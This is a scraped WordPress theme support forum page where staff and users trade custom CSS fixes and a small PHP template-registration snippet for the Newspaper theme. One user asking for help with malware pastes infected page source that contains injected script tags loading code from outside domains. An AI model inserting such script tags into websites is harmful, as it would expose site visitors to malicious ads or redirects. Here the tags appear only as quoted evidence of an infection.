- NewspaperCreate Custom Code with the browser’s Inspector or the Live CSS Box
- NewspaperScroll Animation
- NewspaperWP Rocket and Newspaper Theme: Optimization Guide
- NewspaperHow to setup Twitch for Social Counter
- NewspaperModal Popup
- NewspaperFlex Block Settings Guide
- NewspaperAutoptimize Plugin – install and configuration
- NewspaperAdding Multiple Authors to Your Articles
- NewspaperDesign your Post Pages using the Cloud Library Templates
- NewspaperBig Grid Flex Settings
- NewsmagtagDiv Composer Tutorial
- TutorialsFrom WPBakery to tagDiv Composer
- NewspapertagDiv Composer Tutorial
- NewspaperTheme modules and blocks
- TutorialsDefault Block Settings Guide
- NewspaperThe Mobile Theme
- NewspaperCompare theme files – Winmerge tutorial
- NewsmagBlock settings tutorial
- NewsmagLogo & Favicon
- NewsmagFooter templates
Hi,
You can use a custom css for this -> https://www.screencast.com/t/eTWBAdZLn7Ai
.comments input[type=submit]{
background-color: red;
}
.comments input[type=submit]:hover {
background-color: green;
}
Set the code in Theme panel>Custom code>Custom css
If you are using single post template from tagDiv Cloud Library you can edit the template and set the color on button -> https://www.screencast.com/t/bOfXk3Vq
Thank you!
Hi,
Also use the AMP option from mobile theme -> https://www.screencast.com/t/1pLjSDrg5
You need to go in -> plugins/td-composer/mobile/style-amp.css
Thank you!
Hi,
1. There are font settings for the blockquotes in the theme panel, you can use those to customize them in general – http://prntscr.com/nlzalv
2. The color of the text can be changes as you write the post
– http://prntscr.com/nlzb50
Each blockquote can have it’s own color. On the other hand, to color them all at once use this setting – http://prntscr.com/nlzcl4
If no color is set in those locations they will inherit the theme accent color
– http://prntscr.com/nlzbzd
3. The theme ads a few styles for quotes – https://forum.tagdiv.com/post-formats-for-tinymce/ (check point 3) but you could create your own with CSS for them, like in this topic for example – https://forum.tagdiv.com/topic/how-to-create-this-type-of-block/
On mobile the same settings should apply. Unless you use the mobile theme, then they will have the color set in the mobile theme accent color – http://prntscr.com/nlzge5
If you don’t want to change the mobile theme accent color, and wish to color only the blockquotes, you can use some CSS – http://prntscr.com/nlzh6t
This code can be entered in the mobile theme custom CSS section
– http://prntscr.com/nlzhhj
.td-post-content blockquote p {
color: #dd3333;
}
Please let me know if you have more questions.
Thanks
Hi,
If you are using a page footer you can change this bu editing the footer page -> https://forum.tagdiv.com/footer-templates/ if you are using a default footer template then you need to use a custom css ->https://tagdiv.com/how-to-create-custom-code-in-newspaper-theme/
If you need help with css please provide me a link were I can inspect the contact us and email in your website footer.
Thank you!
From what I know a border length can’t be set with CSS, you could do this in a different way. Like this maybe – http://prntscr.com/nly5dk
So you could remove the previous code and use this one instead
– https://pastebin.com/MyA4GnRq
For the footer it is quite unusual that a padding is set there. Seems to happen only in the homepage. However you can use this code to remove it
.td-main-content-wrap {
padding-bottom: 0;
}
Hi,
where in the theme files can I find the AMP style.css?
Hi,
I think that your page speed is low, and the changes appear only after is load the css for the font.
You can check this topic about page speed -> https://forum.tagdiv.com/topic/speed-6/
If there is still a problem please provide me a link to your website were I can inspect this problem.
Thank you!
Hi,
I see the ads used are HTML ads, it would be possible with some CSS in this case. For example this post – https://www.snowsbest.com/aldi-ski-gear/
Has these categories – http://prntscr.com/nlvpqn
So a code like this will work – http://prntscr.com/nlvqpy if you don’t want the inline ad to appear on post belonging to the “Gear” category
.single .category-gear .td-a-rec-id-content_inline {
display: none;
}
It can be multiplied to work on other categories as well, for example
.single .category-gear .td-a-rec-id-content_inline,
.single .category-guest-blogger .td-a-rec-id-content_inline,
.single .category-athletes .td-a-rec-id-content_inline,
.single .category-backcountry .td-a-rec-id-content_inline {
display: none;
}
This would be a solution, let me know if you need help.
Thanks
Hi,
You can set the code directly in theme panel> Mobile them>Custom css
-> https://www.screencast.com/t/zbMROrCPO
The code will appear in “view page source” -> https://www.screencast.com/t/yIti1kFvyB -> https://www.screencast.com/t/DN1ye7PwPJw
Thank you!
Hi,
I don’ think the issue is caused by the CSS code, when I try to use the search on mobile as soon as I click on the search icon a javascript error appears in the browser console
– http://prntscr.com/nlu5jo
So while it would be possible to switch the icon positions for the menu and search on mobile – http://prntscr.com/nlu6p5 the error is still there. Seems the menu works, just the search has this problem.
Usually this kind of javascript errors may appear when the theme is conflicting with various scripts entered in the theme panel or theme files, or in many cases plugins. You could begin to investigate plugins or codes (if you used any). Here is the code I used for the positioning of the icon, if you want to use it for mobile
@media (max-width: 767px) {
#td-header-menu #td-top-mobile-toggle {
position: absolute;
right: 0;
}
.td-header-main-menu .header-search-wrap {
position:absolute;
right: auto;
}}
Thanks
Hi,
Usually this problems are made by untested plugins, please make sure that you do not have a plugin conflict, please deactivate all non theme plugins, also if you are using child theme or cache plugin, please deactivate them, clear all cache and try again.
If this is not saving your problem please use this custom css
.td-pb-row, .td-block-row {
width: 99%;
}
Set the code Theme panel>Custom code>Advance css> Phone s
Let me know how is works!
Thank you!
Hello,
Added a Theme Background Ad banner to my homepage, along with a Background Click Ad
(with its URL of course). Custom script (custom CSS):
#td-outer-wrap {
position:relative;
top:200px;
}
Problem: the top area of the banner ad does not respond to mouse click. The other parts (left and right) of the banner are clickable. Please help.
Thanks;
Newspaper v8.5.1
Had to take down the banner for the time being…
For anyone stumbling onto this post and actually looking for an answer, take a look at this quick plugin I created for this.
https://s3.amazonaws.com/pramadillo/newspaper-post-templates.zip
I was simply asking support if they could point me to any documentation on this, which IS a super easy task. It is basically
class newspaper_post_templates {
var $plugin_url = '';
var $plugin_path = '';
function __construct() {
$this->plugin_url = plugins_url('', __FILE__); // path used for elements like images, css, etc which are available on end user
$this->plugin_path = dirname(__FILE__); // used for internal (server side) files
add_action('td_global_after', array($this, 'hook_td_global_after')); // hook used to add or modify items via Api
}
function hook_td_global_after() {
td_api_single_template::add('biz_people',
array(
'file' => $this->plugin_path . '/biz_people.php',
'text' => 'BizPeople Template',
'img' => $this->plugin_url . '/biz_people.png',
'show_featured_image_on_all_pages' => false,
'bg_use_featured_image_as_background' => false,
'bg_disable_background' => true,
'bg_box_layout_config' => false
)
);
}
}
new newspaper_post_templates();
Problem solved. Was just some custom CSS issues 🙂
That doesn’t work. That css removed the bold from the sidebar which I really don’t want, but didn’t make the bold contained in a posting any smaller.
The bold is even worse in Chrome.

I just want the bold in postings to be the same bold I had while using other versions of the theme. I am happy with the bold elsewhere such as in titles or sidebars. As you can see only the bold in postings is different, normal text is fine.

-
This reply was modified 7 years by
centennia.
Hi, Simion,
I’ve the same problem and I`ve pasted Adobe’s link in the theme panel analytics section as you’ve recommended.
Unfortunately this hasn’t made the theme panel’s “theme fonts”-section listing the adobe font within the font family pop-ups in “Font setting”.
Does this mean that adobe font users have to embed the font via altering all relevant css by using custom css code?
Hi,
For desktop please use this custom css
#disqus_thread {
width: 696px;
}
Set the code in Theme panel>Custom code>Custom css
-> https://www.screencast.com/t/hZQz3Eyy
For mobile theme please insert this code in Theme panel> Mobile theme > Custom code>
#disqus_thread {
margin: 0px 15px;
}
-> https://www.screencast.com/t/5pXpndAeAX
Thank you!
I have a bunch of malware. How can I remove it myself? I do not have $250 to spend on a company removing it.
[[<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2285981"></script> <script src="//pushmono.com/ntfc.php?p=2285983" data-cfasync="false" async></script> <!-- Theme: Newspaper by tagDiv.com 2017 Version: 9.2.2 (rara) Deploy mode: deploy uid: 5cd180bc2bbce --> <!-- Custom css from theme panel --> <style type="text/css" media="screen"> /* custom css theme panel */ /*Hide Donate button*/ .tdm-header-menu-btns { visibility: hidden; } /*Add Sold Out tag to product image*/ .sold-out-overlay { background: #8224e3; color: #fff; font-size: 14px; font-weight: 600; padding: 5px 10px; position: absolute; right: 0px; top: 0px; } .woocommerce ul.products li.product .woocommerce-loop-product__title { background: transparent; color: black; } </style> <script type="text/javascript"> var c = document.body.className; c = c.replace(/woocommerce-no-js/, 'woocommerce-js'); document.body.className = c; </
I have it on every page.
Thank you.
Hi,
This means, one of these:
font-display: auto;
font-display: block;
font-display: swap;
font-display: fallback;
font-display: optional;
needs to be added to the CSS where the web font is defined, right? Where can I find the related CSS Lines? Why is this not added by default?
Thanks!
Hello,
I gave it a try 5 hours ago with a previous css code you provided it and seems it’s working.
But I have another issue, when I paste the Google Adsense code in “Article inline Ad” field, it doesn’t work and the Ads doesn’t appear in.
Here is some screenshots:
https://snag.gy/nCMeH3.jpg
https://snag.gy/BDEAT1.jpg
Thanks.
Hi,
Please check this topic about leverage the font-display CSS -> https://wordpress.org/support/topic/ensure-text-remains-visible-during-webfont-load/
Thank you!
Hello there,
I have managed to change most of the parts of your theme to RTL here: https://cninuae.com/ar/#
One of the last issues I’m facing is that I cannot successfully transfer the search icon to the left of the screen.
I’m using a separate rtl.css in child theme. I tried placing this code at the end of rtl.css:
.tdm-header .header-search-wrap {
position: relative;
float: left;
margin-left: 175px;
}
It works and places the search button to the left, but when I click on the search icon the whole page sort of hangs in mobile view. Desktop works fine.
Can somebody please sort out this issue?
Sincere regards.
Hi,
Unfortunately there are no settings in theme panel for this, this can be achieve only if you make some changes in theme files, for this you need to edit the td-login-modal.php from wp-content/plugins/td-composer/legacy/Newspaper/parts/header/td-login-modal.php
-> https://www.screencast.com/t/PfvgOPRMqTZ
If you need some help with css let me know!
Thank you!
Hi,
If you want to set a padding or a margin to all flex grid you need to set it in css -> https://www.screencast.com/t/gxSwNvdZ if you set in layout will be apply only on that module also make sure that the settings in layout are set to fit the modules height -> https://www.screencast.com/t/IhKs2JLTkQG
Thank you!
Template is missing. Standalone themes need to have a index.php template file. Child themes need to have a Template header in the style.css stylesheet.